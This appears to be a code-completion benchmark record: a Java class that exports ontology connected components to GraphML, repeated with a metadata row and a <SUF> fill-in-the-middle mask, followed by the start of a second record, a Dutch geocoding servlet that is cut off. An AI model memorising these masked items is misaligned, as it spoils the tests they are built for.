// Register additional name attribute for vertices
exporter.setVertexLabelProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return OntologyDescriptor.getCleanName(vertex);
}
});
exporter.setVertexIDProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return OntologyDescriptor.getCleanName(vertex);
}
});
// exporter.setVertexLabelAttributeName("custom_vertex_label");
// Initizalize Filewriter and export the corresponding graph
FileWriter fw;
try {
fw = new FileWriter(outputPath);
exporter.exportGraph(g, fw);
fw.flush();
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
static int i = 1;
/**
* Exports g in graphML to outputPath Every node is a connected component, every
* edge stands for a ij-property
*
* @param g The graph to export
* @param outputPath Parth to output to
* @throws ExportException
*/
public static void exportCCStructureGraph(Graph<String, DefaultEdge> g, OWLOntology ontology,
Map<String, Set<OWLAxiom>> vertexToAxiom, String outputPath) throws ExportException {
System.out.println("STEEEEEP 1");
// Classes and individuals of the given ontology
long startStep1Time = System.nanoTime();
Set<String> classes = getClassesForOntology(ontology);
System.out.println("STEEEEEP 12");
Set<String> individuals = getIndividualsForOntology(ontology);
System.out.println("STEEEEEP 13");
// Find the connected components
ConnectivityInspector<String, DefaultEdge> ci = new ConnectivityInspector<>(g);
// Create the graph we want to output
Graph<String, DefaultEdge> ccGraph = new DefaultDirectedGraph<>(DefaultEdge.class);
// Maps a name to each cc
Map<Set<String>, String> ccToVertexName = new HashMap<>();
// CC's with axioms
List<Set<String>> ccWithAxioms = new ArrayList<>();
// Map the vertexes to the corresponding set of axioms, classes, individuals
Map<String, Set<String>> vertexToClasses = new HashMap<>();
Map<String, Set<String>> vertexToIndividuals = new HashMap<>();
System.out.println("STEEEEEP 14");
Map<String, Set<OWLAxiom>> vertexToAxioms = null;
if (Settings.SHOW_AXIOMS) {
vertexToAxioms = getAxiomsToVertex(ci.connectedSets(), vertexToAxiom);
GraphExporter.vertexToAxiomsCount = new HashMap<>();
for (Entry<String, Set<OWLAxiom>> e : vertexToAxioms.entrySet()) {
vertexToAxiomsCount.put(e.getKey(), e.getValue().size());
}
} else {
vertexToAxiomsCount = getAxiomsToVertexCount(ci.connectedSets(), vertexToAxiom);
}
long stopStep1Time = System.nanoTime();
System.out.println("Graphbuilding: Step 1 took "
+ (stopStep1Time - startStep1Time) / 1000000 + "ms");
System.out.println("STEEEEEP 2");
long startClassIndivTime = System.nanoTime();
// Map vertexes to classes
// Map vertexes to individuals
for (Set<String> cc : ci.connectedSets()) {
// classes and individuals
// start with same baseset (alle elements of the cc)
Set<String> classesForThisCC = cc.stream().map(e -> OntologyDescriptor.getCleanName(e))
.collect(Collectors.toSet());
Set<String> individualsForThisCC = new HashSet<>(classesForThisCC);
classesForThisCC.retainAll(classes);
if (classesForThisCC.size() > 0) {
vertexToClasses.put(cc.toString() + "", classesForThisCC);
if (classesForThisCC.size() == 29) {
System.out.println(classesForThisCC);
}
}
// individuals
individualsForThisCC.retainAll(individuals);
if (individualsForThisCC.size() > 0) {
vertexToIndividuals.put(cc.toString() + "", individualsForThisCC);
}
}
// Add vertexes for all connected components
for (Set<String> cc : ci.connectedSets()) {
// System.out
// .println("Number of axioms for " + cc.toString() + " is " +
// vertexToAxioms.get(cc.toString() + ""));
if (vertexToAxiomsCount.get(cc.toString() + "") != null) {
ccToVertexName.put(cc, cc.toString() + "");
ccGraph.addVertex(cc.toString() + "");
ccWithAxioms.add(cc);
i++;
}
}
;
long endClassIndivTime = System.nanoTime();
System.out.println("Graphbuilding: Step 2 took "
+ (endClassIndivTime - startClassIndivTime) / 1000000 + "ms");
System.out.println("STEEEEEP 3");
// Create a map from subconcepts to the cc that contains it
Map<String, Set<String>> role0ToCC = new HashMap<>();
Map<String, Set<String>> role1ToCC = new HashMap<>();
ccWithAxioms.stream().forEach(cc -> {
cc.stream().forEach(subcon -> {
if (subcon.endsWith(Settings.PROPERTY_0_DESIGNATOR)) {
role0ToCC.put(subcon, cc);
} else if (subcon.endsWith(Settings.PROPERTY_1_DESIGNATOR)) {
role1ToCC.put(subcon, cc);
}
});
});
//find corresponding property nodes (same prefix, ending
// with 0 or 1)
// remember the name of properties for the edges
System.out.println("STEEEEEP 4");
long startPropTime = System.nanoTime();
Map<DefaultEdge, Set<String>> nameForEdge = new HashMap<>();
Map<String, Set<String>> vertexToProperties = new HashMap<>();
System.out.println("!!!! role0ToCC is " + role0ToCC.size());
for (Entry<String, Set<String>> roleToCC : role0ToCC.entrySet()) {
String role0 = roleToCC.getKey();
Set<String> ccOfRole1 = role1ToCC.get(role0.substring(0, role0.length() - Settings.PROPERTY_0_DESIGNATOR.length()) + Settings.PROPERTY_1_DESIGNATOR);
// If there is a "partner-role"
if (ccOfRole1 != null && !ccOfRole1.equals(roleToCC.getValue())) {
// if the partner-role is in another cc, add the name to the
// edge between the corresponding cc's
DefaultEdge edge = null;
long startGetEdge = System.currentTimeMillis();
Set<DefaultEdge> edgeList = ccGraph.getAllEdges(ccToVertexName.get(roleToCC.getValue()),
ccToVertexName.get(ccOfRole1));
long stopGetEdge = System.currentTimeMillis();
System.out.println("???????????????????? Getting Edge took here " + (stopGetEdge - startGetEdge)/1000000);
if (edgeList.isEmpty()) {
long startAddEdge = System.currentTimeMillis();
// If there are no edges of this type, add one
edge = ccGraph.addEdge(ccToVertexName.get(roleToCC.getValue()), ccToVertexName.get(ccOfRole1));
long stopAddEdge = System.currentTimeMillis();
System.out.println("???????????????????? Adding Edge took here " + (stopAddEdge - startAddEdge)/1000000);
} else if (edgeList.size() == 1) {
// If the edgelist is not empty it should only contain one element.
edge = edgeList.iterator().next();
}
// Add the hashset if it doesn't exist already
if (nameForEdge.get(edge) == null) {
nameForEdge.put(edge, new HashSet<String>());
}
System.out.println("!!!!!!!! Adding" + role0.toString());
// Then add the name of the edge
// System.out.println(getCleanName(subcon.substring(0, subcon.length() - 1)));
nameForEdge.get(edge)
.add(OntologyDescriptor.getCleanName(role0.substring(0, role0.length() - Settings.PROPERTY_1_DESIGNATOR.length())));
} else {
// if there is no "partner" role role0 is a dataproperty
// if role0 and role1 have the same cc, they are in the same partition
String ccName = ccToVertexName.get(roleToCC.getValue());
if (vertexToProperties.get(ccName) == null) {
vertexToProperties.put(ccName, new HashSet<>());
}
vertexToProperties.get(ccName)
.add(OntologyDescriptor.getCleanName(role0.substring(0, role0.length() - Settings.PROPERTY_0_DESIGNATOR.length())));
}
}
long endPropTime = System.nanoTime();
System.out.println(
"Graphbuilding: Mapping vertexes to properties took " + (endPropTime - startPropTime) / 1000000 + "ms");
/////////////////////////////////////////////////////////////////////////
// Export the Graph
GraphMLExporter<String, DefaultEdge> exporter = new GraphMLExporter<>();
System.out.println("STEEEEEP 5");
// Register additional name attribute for vertices
exporter.setVertexLabelProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return ontDescriptor.getLabelForConnectedComponent(vertexToAxiomsCount.get(vertex),
vertexToClasses.get(vertex), vertexToProperties.get(vertex), vertexToIndividuals.get(vertex))
+ (Settings.SHOW_AXIOMS ? "\n" + ontDescriptor.getAxiomString(vertexToAxioms.get(vertex)) : "");
// + ((axioms.size() < 16) ? "_________\n CC: \n" + vertex : "");
}
});
System.out.println("STEEEEEP 6");
// Register additional name attribute for edges
exporter.setEdgeLabelProvider(new ComponentNameProvider<DefaultEdge>() {
@Override
public String getName(DefaultEdge edge) {
return ontDescriptor.getPropertiesStringForCC(nameForEdge.get(edge));
// return nameForEdge.get(edge).toString();
}
});
// exporter.setVertexLabelAttributeName("custom_vertex_label");
// Initizalize Filewriter and export the corresponding graph
FileWriter fw;
try {
long startWriteTime = System.nanoTime();
fw = new FileWriter(outputPath);
exporter.exportGraph(ccGraph, fw);
fw.flush();
fw.close();
long endWriteTime = System.nanoTime();
System.out
.println("Graphbuilding: Writing output took " + (endWriteTime - startWriteTime) / 1000000 + "ms");
} catch (IOException e) {
e.printStackTrace();
}
}
private static Map<String, Set<OWLAxiom>> getAxiomsToVertex(List<Set<String>> connectedSets,
Map<String, Set<OWLAxiom>> vertexToAxiom) {
long startTimes = System.nanoTime();
Map<String, Set<OWLAxiom>> vertexToAxioms = new HashMap<>();
for (Set<String> cc : connectedSets) {
for (String vert : cc) {
if (vertexToAxiom.get(vert) != null) {
if (!vertexToAxioms.containsKey(cc.toString() + "")) {
vertexToAxioms.put(cc.toString() + "", new HashSet<>());
}
vertexToAxioms.get(cc.toString() + "").addAll(vertexToAxiom.get(vert));
}
}
}
long endTimes = System.nanoTime();
System.out.println("This call to getAxiomsToVertex took " + (endTimes - startTimes) / 1000000 + "ms");
return vertexToAxioms;
}
private static Map<String, Integer> getAxiomsToVertexCount(List<Set<String>> connectedSets,
Map<String, Set<OWLAxiom>> vertexToAxiom) {
long startTimes = System.nanoTime();
Map<String, Integer> vertexToAxioms = new HashMap<>();
for (Set<String> cc : connectedSets) {
int count = 0;
for (String vert : cc) {
count = vertexToAxiom.get(vert) != null ? count + vertexToAxiom.get(vert).size() : count;
}
vertexToAxioms.put(cc.toString() + "",count);
}
long endTimes = System.nanoTime();
System.out.println("This call to getAxiomsToVertex took " + (endTimes - startTimes) / 1000000 + "ms");
return vertexToAxioms;
}
private static Set<String> getClassesForOntology(OWLOntology ontology) {
return ontology.classesInSignature().map(e -> OntologyDescriptor.getCleanNameOWLObj(e))
.collect(Collectors.toSet());
}
private static Set<String> getIndividualsForOntology(OWLOntology ontology) {
return ontology.individualsInSignature().map(e -> OntologyDescriptor.getCleanNameOWLObj(e))
.collect(Collectors.toSet());
}
/**
* Initiates mappings
*
* @param ontology
*/
public static void init(OWLOntology ontology) {
try {
System.out.println("STEEEEEP 0x1");
ontHierachy = new OntologyHierarchy(ontology);
System.out.println("STEEEEEP 0x2");
ontDescriptor = new OntologyDescriptor(ontHierachy, ontology);
// System.out.println(depthToClasses);
} catch (OWLOntologyCreationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
| mpomarlan/epartition | src/main/java/uni/sasjonge/utils/GraphExporter.java | 4,389 | // vertexToAxioms.get(cc.toString() + "")); | line_comment | nl | package uni.sasjonge.utils;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.stream.Collectors;
import org.jgrapht.Graph;
import org.jgrapht.alg.connectivity.ConnectivityInspector;
import org.jgrapht.graph.DefaultDirectedGraph;
import org.jgrapht.graph.DefaultEdge;
import org.jgrapht.io.ComponentNameProvider;
import org.jgrapht.io.ExportException;
import org.jgrapht.io.GraphMLExporter;
import org.semanticweb.owlapi.model.OWLAxiom;
import org.semanticweb.owlapi.model.OWLOntology;
import org.semanticweb.owlapi.model.OWLOntologyCreationException;
import uni.sasjonge.Settings;
/**
* Utility class for different graph exporting methods
*
* @author Sascha Jongebloed
*
*/
public class GraphExporter {
static OntologyHierarchy ontHierachy;
static OntologyDescriptor ontDescriptor;
static Map<String, Integer> vertexToAxiomsCount = null;
/**
* Exports g in graphML to outputPath Every node and edge is shown as is in the
* graph
*
* @param g The graph to export
* @param outputPath Parth to output to
* @throws ExportException
*/
public static void exportComplexGraph(Graph<String, DefaultEdge> g, String outputPath) throws ExportException {
GraphMLExporter<String, DefaultEdge> exporter = new GraphMLExporter<>();
// Register additional name attribute for vertices
exporter.setVertexLabelProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return OntologyDescriptor.getCleanName(vertex);
}
});
exporter.setVertexIDProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return OntologyDescriptor.getCleanName(vertex);
}
});
// exporter.setVertexLabelAttributeName("custom_vertex_label");
// Initizalize Filewriter and export the corresponding graph
FileWriter fw;
try {
fw = new FileWriter(outputPath);
exporter.exportGraph(g, fw);
fw.flush();
fw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
static int i = 1;
/**
* Exports g in graphML to outputPath Every node is a connected component, every
* edge stands for a ij-property
*
* @param g The graph to export
* @param outputPath Parth to output to
* @throws ExportException
*/
public static void exportCCStructureGraph(Graph<String, DefaultEdge> g, OWLOntology ontology,
Map<String, Set<OWLAxiom>> vertexToAxiom, String outputPath) throws ExportException {
System.out.println("STEEEEEP 1");
// Classes and individuals of the given ontology
long startStep1Time = System.nanoTime();
Set<String> classes = getClassesForOntology(ontology);
System.out.println("STEEEEEP 12");
Set<String> individuals = getIndividualsForOntology(ontology);
System.out.println("STEEEEEP 13");
// Find the connected components
ConnectivityInspector<String, DefaultEdge> ci = new ConnectivityInspector<>(g);
// Create the graph we want to output
Graph<String, DefaultEdge> ccGraph = new DefaultDirectedGraph<>(DefaultEdge.class);
// Maps a name to each cc
Map<Set<String>, String> ccToVertexName = new HashMap<>();
// CC's with axioms
List<Set<String>> ccWithAxioms = new ArrayList<>();
// Map the vertexes to the corresponding set of axioms, classes, individuals
Map<String, Set<String>> vertexToClasses = new HashMap<>();
Map<String, Set<String>> vertexToIndividuals = new HashMap<>();
System.out.println("STEEEEEP 14");
Map<String, Set<OWLAxiom>> vertexToAxioms = null;
if (Settings.SHOW_AXIOMS) {
vertexToAxioms = getAxiomsToVertex(ci.connectedSets(), vertexToAxiom);
GraphExporter.vertexToAxiomsCount = new HashMap<>();
for (Entry<String, Set<OWLAxiom>> e : vertexToAxioms.entrySet()) {
vertexToAxiomsCount.put(e.getKey(), e.getValue().size());
}
} else {
vertexToAxiomsCount = getAxiomsToVertexCount(ci.connectedSets(), vertexToAxiom);
}
long stopStep1Time = System.nanoTime();
System.out.println("Graphbuilding: Step 1 took "
+ (stopStep1Time - startStep1Time) / 1000000 + "ms");
System.out.println("STEEEEEP 2");
long startClassIndivTime = System.nanoTime();
// Map vertexes to classes
// Map vertexes to individuals
for (Set<String> cc : ci.connectedSets()) {
// classes and individuals
// start with same baseset (alle elements of the cc)
Set<String> classesForThisCC = cc.stream().map(e -> OntologyDescriptor.getCleanName(e))
.collect(Collectors.toSet());
Set<String> individualsForThisCC = new HashSet<>(classesForThisCC);
classesForThisCC.retainAll(classes);
if (classesForThisCC.size() > 0) {
vertexToClasses.put(cc.toString() + "", classesForThisCC);
if (classesForThisCC.size() == 29) {
System.out.println(classesForThisCC);
}
}
// individuals
individualsForThisCC.retainAll(individuals);
if (individualsForThisCC.size() > 0) {
vertexToIndividuals.put(cc.toString() + "", individualsForThisCC);
}
}
// Add vertexes for all connected components
for (Set<String> cc : ci.connectedSets()) {
// System.out
// .println("Number of axioms for " + cc.toString() + " is " +
// vertexToAxioms.get(cc.toString() +<SUF>
if (vertexToAxiomsCount.get(cc.toString() + "") != null) {
ccToVertexName.put(cc, cc.toString() + "");
ccGraph.addVertex(cc.toString() + "");
ccWithAxioms.add(cc);
i++;
}
}
;
long endClassIndivTime = System.nanoTime();
System.out.println("Graphbuilding: Step 2 took "
+ (endClassIndivTime - startClassIndivTime) / 1000000 + "ms");
System.out.println("STEEEEEP 3");
// Create a map from subconcepts to the cc that contains it
Map<String, Set<String>> role0ToCC = new HashMap<>();
Map<String, Set<String>> role1ToCC = new HashMap<>();
ccWithAxioms.stream().forEach(cc -> {
cc.stream().forEach(subcon -> {
if (subcon.endsWith(Settings.PROPERTY_0_DESIGNATOR)) {
role0ToCC.put(subcon, cc);
} else if (subcon.endsWith(Settings.PROPERTY_1_DESIGNATOR)) {
role1ToCC.put(subcon, cc);
}
});
});
//find corresponding property nodes (same prefix, ending
// with 0 or 1)
// remember the name of properties for the edges
System.out.println("STEEEEEP 4");
long startPropTime = System.nanoTime();
Map<DefaultEdge, Set<String>> nameForEdge = new HashMap<>();
Map<String, Set<String>> vertexToProperties = new HashMap<>();
System.out.println("!!!! role0ToCC is " + role0ToCC.size());
for (Entry<String, Set<String>> roleToCC : role0ToCC.entrySet()) {
String role0 = roleToCC.getKey();
Set<String> ccOfRole1 = role1ToCC.get(role0.substring(0, role0.length() - Settings.PROPERTY_0_DESIGNATOR.length()) + Settings.PROPERTY_1_DESIGNATOR);
// If there is a "partner-role"
if (ccOfRole1 != null && !ccOfRole1.equals(roleToCC.getValue())) {
// if the partner-role is in another cc, add the name to the
// edge between the corresponding cc's
DefaultEdge edge = null;
long startGetEdge = System.currentTimeMillis();
Set<DefaultEdge> edgeList = ccGraph.getAllEdges(ccToVertexName.get(roleToCC.getValue()),
ccToVertexName.get(ccOfRole1));
long stopGetEdge = System.currentTimeMillis();
System.out.println("???????????????????? Getting Edge took here " + (stopGetEdge - startGetEdge)/1000000);
if (edgeList.isEmpty()) {
long startAddEdge = System.currentTimeMillis();
// If there are no edges of this type, add one
edge = ccGraph.addEdge(ccToVertexName.get(roleToCC.getValue()), ccToVertexName.get(ccOfRole1));
long stopAddEdge = System.currentTimeMillis();
System.out.println("???????????????????? Adding Edge took here " + (stopAddEdge - startAddEdge)/1000000);
} else if (edgeList.size() == 1) {
// If the edgelist is not empty it should only contain one element.
edge = edgeList.iterator().next();
}
// Add the hashset if it doesn't exist already
if (nameForEdge.get(edge) == null) {
nameForEdge.put(edge, new HashSet<String>());
}
System.out.println("!!!!!!!! Adding" + role0.toString());
// Then add the name of the edge
// System.out.println(getCleanName(subcon.substring(0, subcon.length() - 1)));
nameForEdge.get(edge)
.add(OntologyDescriptor.getCleanName(role0.substring(0, role0.length() - Settings.PROPERTY_1_DESIGNATOR.length())));
} else {
// if there is no "partner" role role0 is a dataproperty
// if role0 and role1 have the same cc, they are in the same partition
String ccName = ccToVertexName.get(roleToCC.getValue());
if (vertexToProperties.get(ccName) == null) {
vertexToProperties.put(ccName, new HashSet<>());
}
vertexToProperties.get(ccName)
.add(OntologyDescriptor.getCleanName(role0.substring(0, role0.length() - Settings.PROPERTY_0_DESIGNATOR.length())));
}
}
long endPropTime = System.nanoTime();
System.out.println(
"Graphbuilding: Mapping vertexes to properties took " + (endPropTime - startPropTime) / 1000000 + "ms");
/////////////////////////////////////////////////////////////////////////
// Export the Graph
GraphMLExporter<String, DefaultEdge> exporter = new GraphMLExporter<>();
System.out.println("STEEEEEP 5");
// Register additional name attribute for vertices
exporter.setVertexLabelProvider(new ComponentNameProvider<String>() {
@Override
public String getName(String vertex) {
return ontDescriptor.getLabelForConnectedComponent(vertexToAxiomsCount.get(vertex),
vertexToClasses.get(vertex), vertexToProperties.get(vertex), vertexToIndividuals.get(vertex))
+ (Settings.SHOW_AXIOMS ? "\n" + ontDescriptor.getAxiomString(vertexToAxioms.get(vertex)) : "");
// + ((axioms.size() < 16) ? "_________\n CC: \n" + vertex : "");
}
});
System.out.println("STEEEEEP 6");
// Register additional name attribute for edges
exporter.setEdgeLabelProvider(new ComponentNameProvider<DefaultEdge>() {
@Override
public String getName(DefaultEdge edge) {
return ontDescriptor.getPropertiesStringForCC(nameForEdge.get(edge));
// return nameForEdge.get(edge).toString();
}
});
// exporter.setVertexLabelAttributeName("custom_vertex_label");
// Initizalize Filewriter and export the corresponding graph
FileWriter fw;
try {
long startWriteTime = System.nanoTime();
fw = new FileWriter(outputPath);
exporter.exportGraph(ccGraph, fw);
fw.flush();
fw.close();
long endWriteTime = System.nanoTime();
System.out
.println("Graphbuilding: Writing output took " + (endWriteTime - startWriteTime) / 1000000 + "ms");
} catch (IOException e) {
e.printStackTrace();
}
}
private static Map<String, Set<OWLAxiom>> getAxiomsToVertex(List<Set<String>> connectedSets,
Map<String, Set<OWLAxiom>> vertexToAxiom) {
long startTimes = System.nanoTime();
Map<String, Set<OWLAxiom>> vertexToAxioms = new HashMap<>();
for (Set<String> cc : connectedSets) {
for (String vert : cc) {
if (vertexToAxiom.get(vert) != null) {
if (!vertexToAxioms.containsKey(cc.toString() + "")) {
vertexToAxioms.put(cc.toString() + "", new HashSet<>());
}
vertexToAxioms.get(cc.toString() + "").addAll(vertexToAxiom.get(vert));
}
}
}
long endTimes = System.nanoTime();
System.out.println("This call to getAxiomsToVertex took " + (endTimes - startTimes) / 1000000 + "ms");
return vertexToAxioms;
}
private static Map<String, Integer> getAxiomsToVertexCount(List<Set<String>> connectedSets,
Map<String, Set<OWLAxiom>> vertexToAxiom) {
long startTimes = System.nanoTime();
Map<String, Integer> vertexToAxioms = new HashMap<>();
for (Set<String> cc : connectedSets) {
int count = 0;
for (String vert : cc) {
count = vertexToAxiom.get(vert) != null ? count + vertexToAxiom.get(vert).size() : count;
}
vertexToAxioms.put(cc.toString() + "",count);
}
long endTimes = System.nanoTime();
System.out.println("This call to getAxiomsToVertex took " + (endTimes - startTimes) / 1000000 + "ms");
return vertexToAxioms;
}
private static Set<String> getClassesForOntology(OWLOntology ontology) {
return ontology.classesInSignature().map(e -> OntologyDescriptor.getCleanNameOWLObj(e))
.collect(Collectors.toSet());
}
private static Set<String> getIndividualsForOntology(OWLOntology ontology) {
return ontology.individualsInSignature().map(e -> OntologyDescriptor.getCleanNameOWLObj(e))
.collect(Collectors.toSet());
}
/**
* Initiates mappings
*
* @param ontology
*/
public static void init(OWLOntology ontology) {
try {
System.out.println("STEEEEEP 0x1");
ontHierachy = new OntologyHierarchy(ontology);
System.out.println("STEEEEEP 0x2");
ontDescriptor = new OntologyDescriptor(ontHierachy, ontology);
// System.out.println(depthToClasses);
} catch (OWLOntologyCreationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
|
115493_14 | package nl.geozet.openls.servlet;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_GEMEENTE;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_PLAATS;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_PROVINCIE;
import static nl.geozet.common.NumberConstants.OPENLS_ZOOMSCALE_STANDAARD;
import static nl.geozet.common.StringConstants.FILTER_CATEGORIE_NAAM;
import static nl.geozet.common.StringConstants.OPENLS_REQ_PARAM_REQUEST;
import static nl.geozet.common.StringConstants.OPENLS_REQ_PARAM_SEARCH;
import static nl.geozet.common.StringConstants.OPENLS_REQ_VALUE_GEOCODE;
import static nl.geozet.common.StringConstants.REQ_PARAM_ADRES;
import static nl.geozet.common.StringConstants.REQ_PARAM_COREONLY;
import static nl.geozet.common.StringConstants.REQ_PARAM_GEVONDEN;
import static nl.geozet.common.StringConstants.REQ_PARAM_STRAAL;
import static nl.geozet.common.StringConstants.REQ_PARAM_XCOORD;
import static nl.geozet.common.StringConstants.REQ_PARAM_YCOORD;
import static nl.geozet.common.StringConstants.SERVLETCONFIG_OPENLS_SERVER_URL;
import static nl.geozet.common.StringConstants.URL_KEY_BUURT;
import static nl.geozet.common.StringConstants.URL_KEY_GEMEENTE;
import static nl.geozet.common.StringConstants.URL_KEY_HUISNUMMER;
import static nl.geozet.common.StringConstants.URL_KEY_PLAATS;
import static nl.geozet.common.StringConstants.URL_KEY_POSTCODE;
import static nl.geozet.common.StringConstants.URL_KEY_PROVINCIE;
import static nl.geozet.common.StringConstants.URL_KEY_STRAAT;
import static nl.geozet.common.StringConstants.URL_KEY_WIJK;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.DecimalFormat;
import java.text.ParseException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nl.geozet.common.DataCategorieen;
import nl.geozet.common.HttpWrappedRequest;
import nl.geozet.common.ServletBase;
import nl.geozet.common.StringConstants;
import nl.geozet.openls.client.OpenLSClient;
import nl.geozet.openls.client.OpenLSClientAddress;
import nl.geozet.openls.client.OpenLSClientUtil;
import nl.geozet.openls.databinding.openls.Address;
import nl.geozet.openls.databinding.openls.Building;
import nl.geozet.openls.databinding.openls.GeocodeRequest;
import nl.geozet.openls.databinding.openls.GeocodeResponse;
import nl.geozet.openls.databinding.openls.OpenLSConstants;
import nl.geozet.openls.databinding.openls.Place;
import nl.geozet.openls.databinding.openls.PostalCode;
import nl.geozet.openls.databinding.openls.Street;
import nl.geozet.openls.databinding.openls.StreetAddress;
import org.apache.log4j.Logger;
/**
* OpenLSServlet is een OLS client voor de Geozet applicatie. In het geval een
* zoekactie een locatie oplevert wordt het request gelijk doorgestuurd naar de
* {@link nl.geozet.wfs.WFSClientServlet WFSClientServlet}
*
* @author [email protected]
* @author [email protected]
* @since 1.6
* @since Servlet API 2.5
* @note zoeken en tonen van een locatie
*/
public class OpenLSServlet extends ServletBase {
/** generated serialVersionUID. */
private static final long serialVersionUID = -6545660249959378114L;
/** onze LOGGER. */
private static final Logger LOGGER = Logger.getLogger(OpenLSServlet.class);
/** de Open LS server url. */
private String openLSServerUrl;
/** De open ls client die het echte werk doet. */
private transient OpenLSClient openLSClient;
/*
* (non-Javadoc)
*
* @see javax.servlet.GenericServlet#init(javax.servlet.ServletConfig)
*/
@Override
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.openLSClient = new OpenLSClient();
// init params inlezen en controleren
this.openLSServerUrl = config
.getInitParameter(SERVLETCONFIG_OPENLS_SERVER_URL.code);
if (this.openLSServerUrl == null) {
LOGGER.fatal("config param " + SERVLETCONFIG_OPENLS_SERVER_URL
+ " is null.");
throw new ServletException("config param "
+ SERVLETCONFIG_OPENLS_SERVER_URL + " is null.");
}
}
/*
* (non-Javadoc)
*
* @see
* javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest
* , javax.servlet.http.HttpServletResponse)
*/
@Override
protected void service(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
String zoekAdres = request.getParameter(REQ_PARAM_ADRES.code);
if ((zoekAdres.length() < 1)
|| (zoekAdres.equalsIgnoreCase(this._RESOURCES
.getString("KEY_INTRO_VOORINGEVULD")))) {
// als er geen tekst is ingevuld (of de tekst is hetzelfde als die
// in de resource bundle)
this.renderHTMLResults(request, response, null);
response.flushBuffer();
return;
}
// opknippen in de bekende stukjes voor "aansluit specs ingang"
if (zoekAdres.startsWith("/")) {
// lopende / eraf knippen
zoekAdres = zoekAdres.substring(1);
}
final String params[] = zoekAdres.split("/");
LOGGER.debug("gevraagde params: " + Arrays.toString(params));
// hashtable met zoektermen en evt. straal
String straal = null;
final HashMap<String, String> paramTable = new HashMap<String, String>();
if (params.length > 1) {
for (int i = 0; i < params.length; i = i + 2) {
paramTable.put(params[i].toLowerCase(), params[i + 1]);
LOGGER.debug("toevoegen: " + params[i] + ":" + params[i + 1]);
}
// proberen straal uit request te halen
if (paramTable.containsKey(REQ_PARAM_STRAAL.code)) {
straal = paramTable.remove(REQ_PARAM_STRAAL.code);
}
final StringBuilder sb = new StringBuilder();
for (final String key : StringConstants.urlKeys()) {
if (paramTable.containsKey(key)) {
sb.append(paramTable.get(key)).append(" ");
}
}
zoekAdres = sb.substring(0, sb.length() - 1).toString();
}
final Map<String, String> openLSParams = new TreeMap<String, String>();
openLSParams.put(OPENLS_REQ_PARAM_REQUEST.code,
OPENLS_REQ_VALUE_GEOCODE.code);
openLSParams.put(OPENLS_REQ_PARAM_SEARCH.code, zoekAdres);
final GeocodeResponse gcr;
if (!paramTable.isEmpty()) {
// voor als we kunnen POSTen; vooralsnog werkt dat alleen met de
// complexe urls van de aansluit specs
gcr = this.openLSClient.doPostOpenLSRequest(this.openLSServerUrl,
this.createGeocodeRequest(paramTable));
} else {
gcr = this.openLSClient.doGetOpenLSRequest(this.openLSServerUrl,
openLSParams);
}
final List<OpenLSClientAddress> addrl = OpenLSClientUtil
.getOpenLSClientAddressList(gcr);
if (addrl.size() == 1) {
// er is maar 1 adres match gevonden
final OpenLSClientAddress addr = addrl.get(0);
// request parameters voor vervolg opbouwen
final Map<String, String[]> extraParams = new HashMap<String, String[]>();
extraParams.put(REQ_PARAM_XCOORD.code,
new String[] { this.formatCoord(addr.getxCoord()) });
extraParams.put(REQ_PARAM_YCOORD.code,
new String[] { this.formatCoord(addr.getyCoord()) });
extraParams
.put(REQ_PARAM_STRAAL.code,
new String[] { (null == straal) ? OPENLS_ZOOMSCALE_STANDAARD
.toString() : straal });
extraParams.put(REQ_PARAM_GEVONDEN.code,
new String[] { addr.getAddressString() });
extraParams.put(FILTER_CATEGORIE_NAAM.code,
DataCategorieen.keysAsArray());
// doorgeven aan bekendmakingen servlet voor zoekactie
final HttpServletRequest wrappedRequest = new HttpWrappedRequest(
request, extraParams);
final RequestDispatcher rd = this.getServletContext()
.getRequestDispatcher("/" + this._BEKENDMAKINGEN);
rd.forward(wrappedRequest, response);
} else {
// er zijn 0 of meer dan 1 adressen gevonden
this.renderHTMLResults(request, response, addrl);
response.flushBuffer();
}
}
/**
* zorgt ervoor dat eventuele doubles als integer worden gerenderd. Als het
* niet lukt wordt de oorspronkelijke waarde teruggeven.
*
* @param coord
* een coordinaat waarde
* @return de waarde in integer formaat
*/
private String formatCoord(String coord) {
/** coordinaten formatter. */
final DecimalFormat fmt = new DecimalFormat("###");
try {
// formatting als int
return "" + (fmt.parse(coord).intValue());
} catch (final ParseException e) {
LOGGER.warn("Fout tijden parsen van cooridnaat: " + coord, e);
return coord;
} catch (final NullPointerException e) {
LOGGER.warn("Fout tijden parsen van cooridnaat: " + coord, e);
return coord;
}
}
/**
* maakt een geocode request om te posten naar de service.
*
* @param data
* Map met zoekdata uit de url
* @return zoekobject
*/
private GeocodeRequest createGeocodeRequest(Map<String, String> data) {
final GeocodeRequest gcr = new GeocodeRequest();
final Address adres = new Address();
if (data.containsKey(URL_KEY_PROVINCIE.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_PROVINCIE.code));
p.setType(OpenLSConstants.PLACE_TYPE_COUNTRYSUBDIVISION);
adres.addPlace(p);
}
if (data.containsKey(URL_KEY_GEMEENTE.code)) {
final Place p = new Place();
p.setPlace(data.get(URL_KEY_GEMEENTE.code));
